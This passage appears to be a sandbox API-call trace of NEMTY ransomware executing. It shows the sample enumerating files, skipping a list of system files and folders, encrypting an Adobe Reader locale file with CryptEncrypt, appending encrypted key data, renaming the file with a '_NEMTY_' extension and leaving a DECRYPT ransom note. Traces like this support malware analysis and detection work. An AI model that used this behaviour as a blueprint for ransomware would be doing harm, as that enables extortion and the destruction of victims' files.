ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 1 [0181.199] lstrcmpiW (lpString1="Services.asfx", lpString2=".") returned 1 [0181.199] lstrcmpiW (lpString1="Services.asfx", lpString2="..") returned 1 [0181.199] lstrcmpiW (lpString1="Services.asfx", lpString2="...") returned 1 [0181.199] lstrcmpiW (lpString1="Services.asfx", lpString2="windows") returned -1 [0181.199] lstrcmpiW (lpString1="Services.asfx", lpString2="$RECYCLE.BIN") returned 1 [0181.199] lstrcmpiW (lpString1="Services.asfx", lpString2="rsa") returned 1 [0181.199] lstrcmpiW (lpString1="Services.asfx", lpString2="NTDETECT.COM") returned 1 [0181.199] lstrcmpiW (lpString1="Services.asfx", lpString2="ntldr") returned 1 [0181.199] lstrcmpiW (lpString1="Services.asfx", lpString2="MSDOS.SYS") returned 1 [0181.199] lstrcmpiW (lpString1="Services.asfx", lpString2="IO.SYS") returned 1 [0181.199] lstrcmpiW (lpString1="Services.asfx", lpString2="boot.ini") returned 1 [0181.199] lstrcmpiW (lpString1="Services.asfx", lpString2="boot.ini") returned 1 [0181.199] lstrcmpiW (lpString1="Services.asfx", lpString2="AUTOEXEC.BAT") returned 1 [0181.199] lstrcmpiW (lpString1="Services.asfx", lpString2="ntuser.dat") returned 1 [0181.199] lstrcmpiW (lpString1="Services.asfx", lpString2="desktop.ini") returned 1 [0181.199] lstrcmpiW (lpString1="Services.asfx", lpString2="CONFIG.SYS") returned 1 [0181.199] lstrcmpiW (lpString1="Services.asfx", lpString2="RECYCLER") returned 1 [0181.199] lstrcmpiW (lpString1="Services.asfx", lpString2="BOOTSECT.BAK") returned 1 [0181.199] lstrcmpiW (lpString1="Services.asfx", lpString2="bootmgr") returned 1 [0181.199] lstrcmpiW (lpString1="Services.asfx", lpString2="programdata") returned 1 [0181.199] lstrcmpiW (lpString1="Services.asfx", lpString2="appdata") returned 1 [0181.199] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.199] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0181.200] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0181.200] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0181.200] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0181.200] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0181.200] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0181.200] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.200] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.200] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0181.200] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0181.200] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.200] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.200] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0181.200] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0181.200] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.200] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0181.200] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0181.200] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0181.200] Sleep (dwMilliseconds=0x5) [0181.208] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x1fa7a8b0, dwHighDateTime=0x1d561e8)) [0181.208] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x1fa7a8b0, dwHighDateTime=0x1d561e8)) [0181.208] GetLastError () returned 0x0 [0181.208] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0181.208] GetLastError () returned 0x0 [0181.208] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.208] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0181.208] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0181.208] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0181.208] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0181.208] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0181.208] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0181.208] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e29c | out: pszString="TBYf2TOGQAgzmV4KGkAPV0QO7Q6DLSWQMYrXg7ft/1585T+W/RNoFBR/Ee4Up6aw\r\nYoA06x1zrKAbm55fq5TSqCvSZjA2skksqDfrRt2lBGiyZG/AEsVl5YmqOeYGbsvI\r\nSQCRMQlSv9n7u1r1DxYt88QtMwc63PeYzKd1ZwzQtRvYt6ExpIbZcAhzj+2y5Usg\r\n7CDQlBta4TfGCyvTq48xAL72B9hjdIAH6LueHPxY7UoVsOLxOO1c27eUiQKzsm4f\r\ndLlHRbQTKCUKnAS9yzpxOzXAZ1/7QJCe1/yVCCnrTuFeq4sUMHE8t+tCuzpWJHiq\r\ntdG6x3dp4umRfiU+Dvb2Kw==\r\n", pcchString=0x653e29c) returned 1 [0181.208] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0181.208] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0181.208] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0181.208] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0181.208] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0181.208] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0181.208] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\services\\services.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0181.209] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=233) returned 1 [0181.209] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340270 [0181.209] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.209] ReadFile (in: hFile=0x2f0, lpBuffer=0x6340270, nNumberOfBytesToRead=0xe0, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6340270*, lpNumberOfBytesRead=0x653e4e4*=0xe0, lpOverlapped=0x0) returned 1 [0181.210] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.210] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340270*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340270*, lpNumberOfBytesWritten=0x653e4dc*=0xe0, lpOverlapped=0x0) returned 1 [0181.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0181.210] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=233, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe9 [0181.210] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0181.210] CloseHandle (hObject=0x2f0) returned 1 [0181.210] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0181.210] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0181.210] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0181.210] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0181.210] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0181.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0181.210] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0181.210] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0181.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0181.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0181.210] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\services\\services.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Services\\Services.asfx._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\services\\services.asfx._nemty_kgobjgd_")) returned 1 [0181.212] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0181.212] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0181.212] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0181.212] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0181.212] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0181.212] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0181.212] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.212] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0181.212] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fa08490, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1fa08490, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1fa2e5f0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0181.212] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0181.212] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0181.212] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0181.212] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0181.212] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0181.212] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0181.212] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0181.212] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0181.212] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0181.212] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0181.212] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0181.212] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0181.212] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0181.212] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0181.212] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0181.212] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0181.212] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0181.212] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0181.212] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0181.213] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0181.213] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0181.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0181.213] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0181.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.213] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0181.213] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0181.213] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0181.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.213] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0181.213] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.213] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0181.213] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0181.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0181.213] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0181.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.213] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0181.213] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0181.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0181.213] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0181.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0181.213] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0181.213] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0181.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340048 [0181.213] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0181.213] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0181.213] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.213] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fa08490, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1fa08490, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1fa2e5f0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0181.213] FindClose (in: hFindFile=0x3423af0 | out: hFindFile=0x3423af0) returned 1 [0181.213] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0181.214] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0181.214] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0181.214] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfea540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Spelling.POL", cAlternateFileName="")) returned 1 [0181.214] lstrcmpiW (lpString1="Spelling.POL", lpString2=".") returned 1 [0181.214] lstrcmpiW (lpString1="Spelling.POL", lpString2="..") returned 1 [0181.214] lstrcmpiW (lpString1="Spelling.POL", lpString2="...") returned 1 [0181.214] lstrcmpiW (lpString1="Spelling.POL", lpString2="windows") returned -1 [0181.214] lstrcmpiW (lpString1="Spelling.POL", lpString2="$RECYCLE.BIN") returned 1 [0181.214] lstrcmpiW (lpString1="Spelling.POL", lpString2="rsa") returned 1 [0181.214] lstrcmpiW (lpString1="Spelling.POL", lpString2="NTDETECT.COM") returned 1 [0181.214] lstrcmpiW (lpString1="Spelling.POL", lpString2="ntldr") returned 1 [0181.214] lstrcmpiW (lpString1="Spelling.POL", lpString2="MSDOS.SYS") returned 1 [0181.214] lstrcmpiW (lpString1="Spelling.POL", lpString2="IO.SYS") returned 1 [0181.214] lstrcmpiW (lpString1="Spelling.POL", lpString2="boot.ini") returned 1 [0181.214] lstrcmpiW (lpString1="Spelling.POL", lpString2="boot.ini") returned 1 [0181.214] lstrcmpiW (lpString1="Spelling.POL", lpString2="AUTOEXEC.BAT") returned 1 [0181.214] lstrcmpiW (lpString1="Spelling.POL", lpString2="ntuser.dat") returned 1 [0181.214] lstrcmpiW (lpString1="Spelling.POL", lpString2="desktop.ini") returned 1 [0181.214] lstrcmpiW (lpString1="Spelling.POL", lpString2="CONFIG.SYS") returned 1 [0181.214] lstrcmpiW (lpString1="Spelling.POL", lpString2="RECYCLER") returned 1 [0181.214] lstrcmpiW (lpString1="Spelling.POL", lpString2="BOOTSECT.BAK") returned 1 [0181.214] lstrcmpiW (lpString1="Spelling.POL", lpString2="bootmgr") returned 1 [0181.214] lstrcmpiW (lpString1="Spelling.POL", lpString2="programdata") returned 1 [0181.214] lstrcmpiW (lpString1="Spelling.POL", lpString2="appdata") returned 1 [0181.214] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.214] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.POL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0181.214] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.POL", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.POL", lpUsedDefaultChar=0x0) returned 12 [0181.214] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0181.214] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.POL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0181.214] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.POL", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.POL", lpUsedDefaultChar=0x0) returned 12 [0181.214] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0181.214] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.214] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.215] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.POL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0181.215] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.POL", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.POL", lpUsedDefaultChar=0x0) returned 12 [0181.215] HeapFree (in: hHeap=0x4f90000, 